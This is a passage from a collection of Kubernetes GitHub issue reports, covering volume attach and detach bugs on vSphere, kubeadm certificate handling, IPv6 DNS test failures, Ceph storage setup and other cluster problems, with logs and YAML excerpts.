pods each time, so presumably some kind of maint loop.  the code branch in reconciler.go is this one:  https://github.com/kubernetes/kubernetes/blob/v1.3.0/pkg/kubelet/volume/reconciler/reconciler.go l217  and that err is populated from this line:  https://github.com/kubernetes/kubernetes/blob/v1.3.0/pkg/kubelet/volume/reconciler/reconciler.go l145  but beyond that i'm not sure why it is consistenly thinking that the mount operation didn't stick.  any ideas where to go from here?

having multiple copies of the base apimachinery types makes it impossible to cleanly make use of client-go inside of k8s.io/kubernetes and makes it impractical to separate our the genericapiserver.\r \r there is a pull to split out the apimachinery  https://github.com/kubernetes/kubernetes/pull/39475 , but it requires updates to gengo  https://github.com/kubernetes/gengo/pull/29  which will only work if there is a target to handle a  go get  of k8s.io/apimachinery.\r \r we need to\r  -  x  create the k8s.io/apimachinery repo  give @lavalamp and me write access \r  -  x  i prime the repo with the result of https://github.com/kubernetes/kubernetes/pull/39475 before it merges\r  -  x  we use that starting point to merge https://github.com/kubernetes/gengo/pull/29\r  -  x  i update https://github.com/kubernetes/kubernetes/pull/39475 to bump gengo and we merge it.\r  -  x  we create a verify script to prevent updates to \ mirror\  packages in k8s.io/kubernetes\r  -  x  and set it up while we transition repos like heapster and client-go.  i might ask @sttts to help with his bash-fu \r  -  x  check that all hack/  script operate on staging/src/apimachinery\r  -  x  sync synchronously with client-go via a publish bot\r \r @lavalamp @kubernetes/sig-api-machinery-misc @sttts @smarterclayton

@mrhohn \r \r there is a test failure in the upgrade test jobs around dns horizontal autoscaling. can you take a look and let me know if this is an issue for the 1.6 release?\r \r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke-gci-1.5-gci-1.6-upgrade-cluster-new/18 k8sio-dns-horizontal-autoscaling-kube-dns-autoscaler-should-scale-kube-dns-pods-in-both-nonfaulty-and-faulty-scenarios\r \r for context, this test job is creating a 1.5 cluster, upgrading it to 1.6, and then running the 1.6 e2e tests to ensure it works the same as a fresh cluster.\r

- we are occasionally seeing flakes in our gce/kubemark tests around failing gcloud operations. while some of them are due to the actual operation failing, a few are due to http response errors  even though the operation was done .\r - to deal with the former kind of errors, trying gcloud multiple times in case of failures should work  like we do it in kubemark using  this  https://github.com/kubernetes/kubernetes/blob/master/test/kubemark/gce/util.sh l20  function . for the latter, we need to be careful not to retry the operation based on the operation  for eg. create disk shouldn't be retried  and need to retry only if the resource not already exists. deletion is more easier, as retrying it multiple times wouldn't cause too much harm.\r - more thinking has to go into designing this function which might eventually evolve into a gcloud exception-handling vector  probably delegate this effort to gcloud . however, this is important  in the long run  to make our setup scripts and testing more robust.\r \r ref: https://github.com/kubernetes/kubernetes/issues/40139 issuecomment-273881216\r \r cc @kubernetes/sig-scalability-misc @kubernetes/sig-testing-misc @wojtek-t @gmarek

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  : feature\r \r default flexvolume driver directory is  /usr/libexec/kubernetes/kubelet-plugins/volume/exec/ , which is not writable on cos images. should have a different default directory to enable flexvolume on cos.\r \r  \r /assign @verult\r

for seccomp and apparmor, we all defined some constants  localhost/ ,  runtime/default  etc.\r \r we should define them in https://github.com/kubernetes/kubernetes/blob/master/pkg/kubelet/apis/cri/v1alpha1/runtime/constants.go, so that runtime could share it.\r \r @feiskyer @yujuhong @mrunalp @mikebrow\r /cc @kubernetes/sig-node-api-reviews

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r   /assign\r \r   what happened  :\r there are some tricky conditions for determining if volume predicate equivalence cache needs to be invalidated   58797 , and also if unschedulable pods should move back to the active queue   56163 .  these conditions should be documented in the code and/or design doc.

there are several items in kubectl that needs cleaning. this umbrella issue will hopefully allow to have a single place to point to all of them.\r \r tasks:\r -     server side print default in  kubectl \r -     unify printers   proposal  https://docs.google.com/document/u/1/d/19zzfve9od1kqmk5uexggrwtrl_hkgfynbxvhzjlgero/edit?usp=sharing    61304\r -     all commands should use struct to hold their values   60366 \r -     clean generators\r -     factory cleanup\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r  \r   what happened  :\r we had a pod with persistent storage. we drained the node firstly. then, we deleted the node through kubectl, but the worker vm keeps there. the pv was not attached to the node that the pod migrated too.  as a result, rescheduled statefulset pod is stuck in pending state forever.\r \r   what you expected to happen  :\r pv is detached from old vm successfully so that statefulset pod can be recreated on another host without pending forever.\r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. deploy storage-class by this yaml\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: ci-storage\r provisioner: kubernetes.io/vsphere-volume\r parameters:\r   diskformat: zeroedthick\r    \r 2. deploy stateful-set by this yaml\r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: sample-statefulset\r spec:\r   servicename: \ pv-ex-svc\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: pv-ex\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: pv-ex\r         image: ${path_to_stateful_set}\r         ports:\r         - containerport: 3000\r         volumemounts:\r         - name: www\r           mountpath: /usr/share/pv-ex\r         env:\r         - name: log_file\r           value: /usr/share/pv-ex/log.txt\r   updatestrategy:\r     type: rollingupdate\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: ci-storage\r       resources:\r         requests:\r           storage: 1gi\r    \r 3. run \r    \r   kubectl --kubeconfig xxx drain \ ${node_name}\  --grace-period 10 --force --delete-local-data  --ignore-daemonsets\r    \r 4. run\r    \r kubectl --kubeconfig xxx delete node \ ${node_name}\  --ignore-not-found\r    \r 5. wait for 6 minutes\r 6. have following logs in kube-controller-manager:\r    \r i1207 04:12:50.864000       1 node_status_updater.go:68  could not update node status. failed to find node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  in nodeinformer cache. error: 'node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  not found'\r w1207 04:12:50.864336       1 reconciler.go:231  attacherdetacher.detachvolume started for volume \ pvc-135ea502-f926-11e8-b7a5-005056a39e82\   uniquename: \ kubernetes.io/vsphere-volume/ iscsi-ds-0  kubevols/kubernetes-dynamic-pvc-135ea502-f926-11e8-b7a5-005056a39e82.vmdk\   on node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  this volume is not safe to detach, but maxwaitforunmountduration 6m0s expired, force detaching\r e1207 04:12:50.864403       1 nodemanager.go:282  error \ no vm found\  node info for node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  not found\r e1207 04:12:50.864715       1 vsphere.go:550  cannot find node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  in cache. node not found!!!\r e1207 04:12:50.864983       1 attacher.go:259  error checking if volume  \  iscsi-ds-0  kubevols/kubernetes-dynamic-pvc-135ea502-f926-11e8-b7a5-005056a39e82.vmdk\   is already attached to current node  \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  . will continue and try detach anyway. err=no vm found\r e1207 04:12:50.865103       1 nodemanager.go:282  error \ no vm found\  node info for node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  not found\r e1207 04:12:50.865161       1 vsphere.go:550  cannot find node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  in cache. node not found!!!\r i1207 04:12:50.865417       1 vsphere.go:869  node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\  does not exist, disk  iscsi-ds-0  kubevols/kubernetes-dynamic-pvc-135ea502-f926-11e8-b7a5-005056a39e82.vmdk is already detached from node.\r i1207 04:12:50.865592       1 operation_generator.go:419  detachvolume.detach succeeded for volume \ pvc-135ea502-f926-11e8-b7a5-005056a39e82\   uniquename: \ kubernetes.io/vsphere-volume/ iscsi-ds-0  kubevols/kubernetes-dynamic-pvc-135ea502-f926-11e8-b7a5-005056a39e82.vmdk\   on node \ 997186e0-4c8c-42ba-8bc0-624d67d76c13\ \r e1207 04:13:13.760273       1 virtualmachine.go:137  failed to attach the disk with storagepolicy: \ \  on vm: \ \ . err - failed to add disk 'scsi1:0'.\r    \r \r   anything else we need to know?  :\r it's caused by:\r 1. vcp removes node from cache in face of a node delete event: \r  https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere.go l1295\r 2. vcp depends on the cache to find node in detachdisk method:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere.go l910\r 3. if there is no node information in cache, vcp doesn't even check with vcenter to update cache, but directly asserts node is gone\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/nodemanager.go l232\r 4. vcp assumes if node could not be found, disk is detached successfully in detachdisk:\r https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/vsphere/vsphere.go l202\r \r therefore, even though vm is still on vcenter with pv attached, detachdisk could not successfully finish its job because of a cache miss. and once detachdisk is called, no matter it's invoked by attachdetach.reconciler forcifully because of timeout, or following normal flow, it'll fool controller into thinking pv is detached successfully. this results in a pending stateful-set pod on another host.\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r kubo@jumper:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 13\ , gitversion:\ v1.13.0\ , gitcommit:\ ddf47ac13c1a9483ea035a79cd7c10005ff21a6d\ , gittreestate:\ clean\ , builddate:\ 2018-12-03t21:04:45z\ , goversion:\ go1.11.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.5\ , gitcommit:\ 753b2dbc622f5cc417845f0ff8a77f539a4213ea\ , gittreestate:\ clean\ , builddate:\ 2018-11-26t14:31:35z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r vsphere\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 16.04.5 lts  xenial xerus \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 16.04.5 lts\ \r version_id=\ 16.04\ \r home_url=\ http://www.ubuntu.com/\ \r support_url=\ http://help.ubuntu.com/\ \r bug_report_url=\ http://bugs.launchpad.net/ubuntu/\ \r version_codename=xenial\r ubuntu_codename=xenial\r    \r - kernel  e.g.  uname -a  :\r    \r linux 56870dca-33af-48ca-919e-3bec31e14ed4 4.15.0-39-generic  42~16.04.1-ubuntu smp wed oct 24 17:09:54 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r    \r - install tools: pks\r - others:\r \r <!-- do not edit below this line -->\r 

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  :\r when the conditiontype specified in readiness gates changes from non-existent to false, the reason of ready condition keep  does not exist .\r    \r status:\r   conditions:\r   - lastprobetime: null\r     lasttransitiontime: \ 2018-12-24t18:33:32z\ \r     reason: set false manually\r     status: \ false\ \r     type: zte.com.cn/huang\r   - lastprobetime: null\r     lasttransitiontime: \ 2018-12-24t18:32:06z\ \r     message: corresponding condition of pod readiness gate \ zte.com.cn/huang\  does\r       not exist.\r     reason: readinessgatesnotready\r     status: \ false\ \r     type: ready\r    \r \r   what you expected to happen  :\r when set the condition status to false , the message of ready condition can changed.\r  message: the status of pod readiness gate \ zte.com.cn/huang\  is not \ true\ , but false \r \r   how to reproduce it  as minimally and precisely as possible   :\r 1. create a deployment with readiness gate without set the condition specified in readiness\r 2. set the condition status specified in readiness to false\r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r <!-- do not edit below this line -->\r   \r /area kubelet

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r \r the vsphere cloud provider is unable to fetch the node failure domain labels when using vcp with saml auth because of an authentication failure.  for context, the saml token auth is described here - https://vmware.github.io/vsphere-storage-for-kubernetes/documentation/saml-token-authentication.html.  saml auth support for the zones api was introduced in this pr - https://github.com/kubernetes/kubernetes/pull/75515, which was cherry-picked to 1.14.1 here - https://github.com/kubernetes/kubernetes/pull/75742\r \r i've tested the credentials i'm using with govc to ensure that i'm able to get a token:\r    \r $token = govc session.login -l -u vcdo -cert keys\\public.crt -key keys\\private.key -issue -debug\r    \r the credentials also work fine when using vcp without the node labels feature. \r \r relevant kubelet logs: \r    \r i0502 14:31:45.856013    5908 generic.go:189  genericpleg: relisting\r i0502 14:31:46.775592    5908 connection.go:142  sessionmanager.loginbytoken with certificate\r i0502 14:31:46.858589    5908 generic.go:189  genericpleg: relisting\r i0502 14:31:46.916706    5908 connection.go:209  new session id for 'vsphere.local\\k8s-vcp-dolap' = 52109852-8b67-9901-c095-6f21d8210c03\r i0502 14:31:47.162687    5908 datacenter.go:99  virtualmachine:vm-82 host is hostsystem:host-65\r i0502 14:31:47.833807    5908 config.go:100  looking for  api , have seen map api:{} \r i0502 14:31:47.833807    5908 kubelet.go:1972  syncloop  housekeeping \r i0502 14:31:47.859584    5908 generic.go:189  genericpleg: relisting\r i0502 14:31:48.693024    5908 cni.go:182  using cni configuration file c:\\k\\cni\\config\\cni.conf\r i0502 14:31:48.853838    5908 kubelet.go:2167  container runtime status: runtime conditions: runtimeready=true reason: message:, networkready=true reason: message:\r i0502 14:31:48.860848    5908 generic.go:189  genericpleg: relisting\r i0502 14:31:49.833687    5908 config.go:100  looking for  api , have seen map api:{} \r i0502 14:31:49.833687    5908 kubelet.go:1972  syncloop  housekeeping \r i0502 14:31:49.863597    5908 generic.go:189  genericpleg: relisting\r e0502 14:31:49.992408    5908 vsphere.go:1538  get zone for node ul-win-node-5k: post https://vcdo.production.com:443/rest/com/vmware/cis/session: 401 unauthorized\r e0502 14:31:49.992408    5908 kubelet_node_status.go:68  unable to construct v1.node object for kubelet: failed to get zone from cloud provider: post https://vcdo.production.com:443/rest/com/vmware/cis/session: 401 unauthorized\r i0502 14:31:50.194250    5908 kubelet_node_status.go:283  setting node annotation to enable volume controller attach/detach\r i0502 14:31:50.453104    5908 datacenter.go:99  virtualmachine:vm-82 host is hostsystem:host-65\r    \r \r   what you expected to happen  :\r vcp should add failure domain labels to the node object.\r \r   how to reproduce it  as minimally and precisely as possible   :\r setup saml auth for vcp with zone labeling enabled. \r \r   anything else we need to know?  :\r there was a previous issue that was raised  https://github.com/kubernetes/kubernetes/issues/75511  but that was before saml auth support for zones was implemented.  \r \r this could potentially be an issue with govc handling of saml tokens since even with the administrator role assigned to the user, i'm still unable to list tags.\r    \r > $env:govc_login_token = govc session.login -l -u vcdo -cert keys\\public.crt -key keys\\private.key -issue\r > govc tags.attached.ls -json -r /uunet\r c:\\users\\rhockenbury\\tools\\govc.exe: post https://vcdo/rest/com/vmware/cis/session: 401 unauthorized\r    \r \r the role and keys were generated with the following:\r    \r  $managek8svms= @ \ resource.assignvmtopool\ ,\ virtualmachine.config.addexistingdisk\ ,\ virtualmachine.config.addnewdisk\ ,\ virtualmachine.config.addremovedevice\ ,\ virtualmachine.config.removedisk\ ,\ virtualmachine.inventory.create\ ,\ virtualmachine.inventory.delete\ ,\ virtualmachine.config.settings\ ,\ datastore.allocatespace\ ,\ datastore.filemanagement\ ,\ storageprofile.view\ ,\ system.read\ ,\ system.anonymous\ ,\ system.view\  \r new-virole -name \ manage-k8s-devops-lab\  -privilege  get-viprivilege -id $managek8svms \r set-virole -role \ manage-k8s-devops-lab\  -addprivilege  get-viprivilege -id $managek8svms \r \r openssl req -newkey rsa:2048 -x509 -days 365 -nodes -keyout k8s-vcp-dolab.key -out k8s-vcp-dolab.crt -subj \ /c=us/st=ca/l=sf/o=vmware/ou=cna/cn=www.vmware.com\ \r \r /usr/lib/vmware-vmafd/bin/dir-cli service create --name k8s-vcp-dolap --cert k8s-vcp-dolab.crt \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r 1.14.1\r - cloud provider or hardware configuration:\r vsphere\r - os  e.g:  cat /etc/os-release  :\r linux & windows\r

when add node or update node func is called, all daemonsets are enqueued to workqueue of daemonset controller. the consumer of the workqueue does an iteration of node.list for every daemonset in the workqueue.  it is not efficient, we should enqueue daemonset only it has new or updated nodes in it.

probably a race when trying to create a route for a node where the cidr not yet assigned.  we should check for empty-string      e0106 05:32:55.787526       8 routecontroller.go:91  could not create route ef26a98e-b436-11e5-b51a-0aa66b0667bf : error creating aws route   : invalidparametervalue: value    for parameter destinationcidrblock is invalid. this is not a valid cidr block.         status code: 400, request id: e0106 05:32:55.788166       8 routecontroller.go:91  could not create route edf6dc61-b436-11e5-b51a-0aa66b0667bf : error creating aws route   : invalidparametervalue: value    for parameter destinationcidrblock is invalid. this is not a valid cidr block.         status code: 400, request id:

for example, we are generating deep copy for defaultrestmapper: https://github.com/kubernetes/kubernetes/blob/master/pkg/api/meta/deep_copy_generated.go l29  it doesn't cause any real damage, it's just spamming deep copy functions in our code base.  it's because in the deep copy generator uses  copyablewithinpackage  https://github.com/kubernetes/kubernetes/blob/8c170ff5fff6fe12d122854ad72c13cb7698d62f/cmd/libs/go2idl/deepcopy-gen/generators/deepcopy.go l79  to determine if a deep copy should be generated and the criteria is too loose.  also note that  // +gencopy=false  doesn't always work. it's because the go2idl doesn't  parse  https://github.com/kubernetes/kubernetes/blob/master/cmd/libs/go2idl/parser/parse.go  the comments for the object if the object is added into the  universe  because other code references it.  @wojtek-t @lavalamp

in order to diagnose things like  32214, we need to know where cpu & memory is being used.  i propose we have an e2e run that captures heap & memory profiling information.  likely the overhead of this will mean we can't trigger on it directly, but rather when we have a heap or memory issue we would refer to it, or to the history of those profiles.

for kubernetes 1.8 release, ilb should be able to hold onto private ip addresses during sync.\r \r /assign @nicksardo\r  /area platform/gce\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  > uncomment only one, leave it on its own line: \r >\r >  >  \r \r   what happened  :\r below  readonly  field in flexvolume never works in all k8s versions, the actual  readonly  will always be  false  even user set  flexvolume.readonly  as  true \r \r    \r apiversion: v1\r kind: persistentvolume\r metadata:\r   name: pv-dysk-flexvol\r spec:\r   capacity:\r     storage: 100gi\r   accessmodes:\r     - readonlymany\r   persistentvolumereclaimpolicy: retain\r   flexvolume:\r     driver: \ azure/dysk\ \r     readonly: false\r     fstype: ext4\r    \r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.7-v1.11\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r /assign\r 

i create ceph cluster on some node, and create storageclass that with three monitor address. but when one ceph mon is down, pod mount pvc volume will be failed. so i want to create a service with an endpoint to ceph cluster, so storageclass can call this ceph monitor service, but pvc create failed. the file is like this:\r vim ceph-endpoint.yaml\r kind: endpoints\r apiversion: v1\r metadata:\r   name: ceph-endpoint\r subsets:\r   - addresses:\r       - ip: 10.110.20.173\r       - ip: 10.110.20.174\r       - ip: 10.110.20.175\r     ports:\r       - port: 6789\r \r vim ceph-service.yaml\r kind: service\r apiversion: v1\r metadata:\r   name: ceph-endpoint\r spec:\r   ports:\r   - protocol: tcp\r     port: 6789\r     targetport: 6789\r \r vim ceph-sc.yaml\r apiversion: storage.k8s.io/v1\r kind: storageclass\r metadata:\r   name: ceph-new\r parameters:\r   adminid: admin\r   adminsecretname: ceph-secret\r   adminsecretnamespace: default\r   imageformat: \ 1\ \r   monitors: 110.0.60.238:6789\r   pool: rbd\r   userid: admin\r   usersecretname: ceph-secret\r provisioner: kubernetes.io/rbd\r reclaimpolicy: delete\r \r vim ceph-pvc.yaml\r apiversion: v1\r kind: persistentvolumeclaim\r metadata:\r   name: like\r   namespace: default\r spec:\r   accessmodes:\r   - readwriteonce\r   resources:\r     requests:\r       storage: 1gi\r   storageclassname: ceph-new\r \r the pvc is pending, and error log is like this:\r 2018-04-11 08:17:59.442255 7fd7bd2ab700  0 -- :/1000411 >> 110.0.60.238:6789/0 pipe 0x7fd7b0001c30 sd=3 :54280 s=1 pgs=0 cs=0 l=1 c=0x7fd7b00071b0 .connect claims to be 10.110.20.175:6789/0 not 110.0.60.238:6789/0 - wrong node!\r 2018-04-11 08:17:59.642732 7fd7bd2ab700  0 -- :/1000411 >> 110.0.60.238:6789/0 pipe 0x7fd7b0001c30 sd=3 :54298 s=1 pgs=0 cs=0 l=1 c=0x7fd7b00071b0 .connect claims to be 10.110.20.173:6789/0 not 110.0.60.238:6789/0 - wrong node!\r 2018-04-11 08:18:00.043150 7fd7bd2ab700  0 -- :/1000411 >> 110.0.60.238:6789/0 pipe 0x7fd7b0001c30 sd=3 :54328 s=1 pgs=0 cs=0 l=1 c=0x7fd7b00071b0 .connect claims to be 10.110.20.173:6789/0 not 110.0.60.238:6789/0 - wrong node!\r 2018-04-11 08:18:00.844053 7fd7bd2ab700  0 -- :/1000411 >> 110.0.60.238:6789/0 pipe 0x7fd7b0001c30 sd=3 :54354 s=1 pgs=0 cs=0 l=1 c=0x7fd7b00071b0 .connect claims to be 10.110.20.174:6789/0 not 110.0.60.238:6789/0 - wrong node!\r 2018-04-11 08:18:02.218404 7fd7c8960780  0 monclient hunting : authenticate timed out after 300\r 2018-04-11 08:18:02.218470 7fd7c8960780  0 librados: client.admin authentication error  110  connection timed out\r rbd: couldn't connect to the cluster!

when running selected e2e tests on an ipv6 cluster, the \ dns for services\  test is failing. this test does not perform the correct probes for ipv6. however pr59894, which adds ipv6 support for coredns, adapts this test to use aaaa records for ipv6. the test passes for coredns, but fails for kube-dns.\r \r  \r \r   what happened  :\r this test is failing, even with pr59894, which adds ipv6 support.\r \r   what you expected to happen  :\r the test to pass.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r - patch in pr59894, so that the createprobecommand   function will support ipv6.\r - start up an ipv6 cluster  can use kubeadm-dind-cluster .\r - run the e2e test for dns for service:\r \r    \r go run hack/e2e.go -- --provider=local --v=4 --test --test_args=\  --ginkgo.focus=should\\sprovide\\sdns\\sfor\\sservices --ginkgo.skip=ipv4 --num-nodes=2\ \r    \r \r   anything else we need to know?  :\r for the first ptr based probe that fails, where the pod ip is converted to a name with dashes  e.g. fd00-77-20--0-0-3--d.e2e-tests-dns-rmrmh.pod.cluster.local , when this dig request gets to kubedns, it tries to convert it to an ipv4 address, which is obviously invalid. for example:\r    \r i0418 15:27:27.663692       1 logs.go:41  skydns: error from backend: invalid ip address fd00.77.20.0.3..d\r    \r \r for the second ptr based probe failure, where the name used by dig, is a dotted ip address, it also failed. i ran the dns test and control-c'ed in the middle and then tried to manually do the dig commands. this is an example of the second one, which fails to give a response:\r    \r /   dig +notcp +noall +answer +search 3.4.7.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.7.7.0.0.0.0.d.f.ip6.arpa. ptr\r /   \r /   dig +tcp +noall +answer +search 3.4.7.1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.3.0.0.7.7.0.0.0.0.d.f.ip6.arpa. ptr\r /   \r    \r \r   environment  :\r - kubernetes version  use  kubectl version  : latest\r - cloud provider or hardware configuration: bm or gce running dind for cluster\r - os  e.g. from /etc/os-release : ubuntu 16.04\r - kernel  e.g.  uname -a  : linux bxb-c2-79 4.4.0-119-generic  143-ubuntu smp mon apr 2 16:08:24 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: using kubeadm-dind-cluster to setup cluster\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!-->\r \r \r   what happened  : when trying to deploy kubernetes using kubeadm v1.12.1, kubeadm failed to generate certificates, causing it to fail at a later step.\r \r after passing  -v10  to get all the logs i could i found that it was expecting _all_ the certificates to have been pre-made, even though i only added the certificate and key for the certificate authority. so i dug into the code, and in  pkiutil.tryloadkeyfromdisk  i found this:\r \r    \r \t// allow rsa format only\r \tvar key  rsa.privatekey\r \tswitch k := privkey. type  {\r \tcase  rsa.privatekey:\r \t\tkey = k\r \tdefault:\r \t\treturn nil, fmt.errorf \ the private key file %s isn't in rsa format\ , privatekeypath \r \t}\r    \r it turns out all the pki i've been generating for things like etcd has been ecdsa. so i found the issue i was having, but i still couldn't figure out why kubeadm wasn't failing right away. i took a look at the caller of that function:\r \r    \r \t\t\t// try and load a ca key\r \t\t\tcakey, err = pkiutil.tryloadkeyfromdisk ic.certificatesdir, ca.basename \r \t\t\tif err != nil {\r \t\t\t\t// if there's no ca key, make sure every certificate exists.\r \t\t\t\tfor _, leaf := range leaves {\r \t\t\t\t\tcl := certkeylocation{\r \t\t\t\t\t\tpkidir:   ic.certificatesdir,\r \t\t\t\t\t\tbasename: leaf.basename,\r \t\t\t\t\t\tuxname:   leaf.name,\r \t\t\t\t\t}\r \t\t\t\t\tif err := validatesignedcertwithca cl, cacert ; err != nil {\r \t\t\t\t\t\treturn fmt.errorf \ could not load expected certificate %q or validate the existence of key %q for it: %v\ , leaf.name, ca.name, err \r \t\t\t\t\t}\r \t\t\t\t}\r \t\t\t\t// cacert exists and all clients exist, continue to next ca.\r \t\t\t\tcontinue\r \t\t\t}\r    \r \r it looks like that original error is swallowed.\r \r   what you expected to happen  : immediate failure when keys are in the wrong format.\r \r   how to reproduce it  as minimally and precisely as possible   : use an ecdsa cert/key pair and run  kubeadm init .\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.12.1\r - cloud provider or hardware configuration: openstack\r - os  e.g. from /etc/os-release : ubuntu 18.04\r - kernel  e.g.  uname -a  : 4.15.0-34-generic  37-ubuntu smp mon aug 27 15:21:48 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r - install tools: kubeadm\r - others:\r \r <!-- do not edit below this line -->\r 

hi,  following the discussion from stackoverflow:  http://stackoverflow.com/questions/32510310/kubernetes-imagepullsecrets-not-working-getting-image-not-found/32662719 32662719  i think the documentation http://kubernetes.io/v1.0/docs/user-guide/images.html specifying-imagepullsecrets-on-a-pod,  should be updated regarding the encoding of dockercfg secret.  or there might be a possibility that the test mentioned in one of the answers should be amended.  https://github.com/kubernetes/kubernetes/blob/6def707f9c8c6ead44d82ac8293f0115f0e47262/pkg/kubelet/dockertools/docker_test.go l280

20306 was one instance of this, but @brendandburns says there are multiple places in kube-up and elsewhere that we need to also subject to the same hygiene.

the get  pod|services|replicationcontrollers  commands below do not always work against a 500-node gce cluster. they fail with a  all the given peers are not reachable  tried to connect to each peer twice and failed   0   error. sometimes they appear to work. the pods are in the unknown state and neither elasticsearch or kibana and be reached via the firewall however when i log into the elasticsearch docker container and noticed that it had ingested log information. so something is working to some degree.  @dchen1107       $ cluster/kubectl.sh get services running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get services f0128 09:28:45.686980   15163 get.go:158  501: all the given peers are not reachable  tried to connect to each peer twice and failed   0  $ cluster/kubectl.sh get replicationcontrollers running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get replicationcontrollers f0128 09:30:56.164620   15739 get.go:158  501: all the given peers are not reachable  tried to connect to each peer twice and failed   0  $ cluster/kubectl.sh get pods running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get pods f0128 09:32:18.003639   16656 get.go:158  501: all the given peers are not reachable  tried to connect to each peer twice and failed   0  $ cluster/kubectl.sh get pods running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get pods pod                                    ip                  container s             image s                             host                                               labels                                   status 4a359267-a67e-11e4-8845-42010af0dd1d                       etcd                    quay.io/coreos/etcd:latest          kubernetes-minion-6.c.kubernetes-scale.internal/   k8s-app=skydns                           unknown                                                            kube2sky                kubernetes/kube2sky:1.0                                                                                                                                                                     skydns                  kubernetes/skydns:2014-12-23-001                                                                                                 4a394516-a67e-11e4-8845-42010af0dd1d                       elasticsearch-logging   dockerfile/elasticsearch            kubernetes-minion-5.c.kubernetes-scale.internal/   name=elasticsearch-logging               unknown 4a3d5ee2-a67e-11e4-8845-42010af0dd1d                       influxdb                kubernetes/heapster_influxdb:v0.3   kubernetes-minion-1.c.kubernetes-scale.internal/   name=influxgrafana                       unknown                                                            grafana                 kubernetes/heapster_grafana:v0.3                                                                                                 4a414a7a-a67e-11e4-8845-42010af0dd1d                       heapster                kubernetes/heapster:v0.6            kubernetes-minion-4.c.kubernetes-scale.internal/   name=heapster,uses=monitoring-influxdb   unknown 48f07867-a67e-11e4-8845-42010af0dd1d                       kibana-logging          kubernetes/kibana:1.0               kubernetes-minion-3.c.kubernetes-scale.internal/   name=kibana-logging                      unknown $ cluster/kubectl.sh get services running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get services f0128 09:35:00.960471   17896 get.go:158  501: all the given peers are not reachable  tried to connect to each peer twice and failed   0  $ cluster/kubectl.sh get replicationcontrollers running: cluster/../cluster/gce/../../_output/dockerized/bin/linux/amd64/kubectl get replicationcontrollers controller                           container s             image s                             selector                     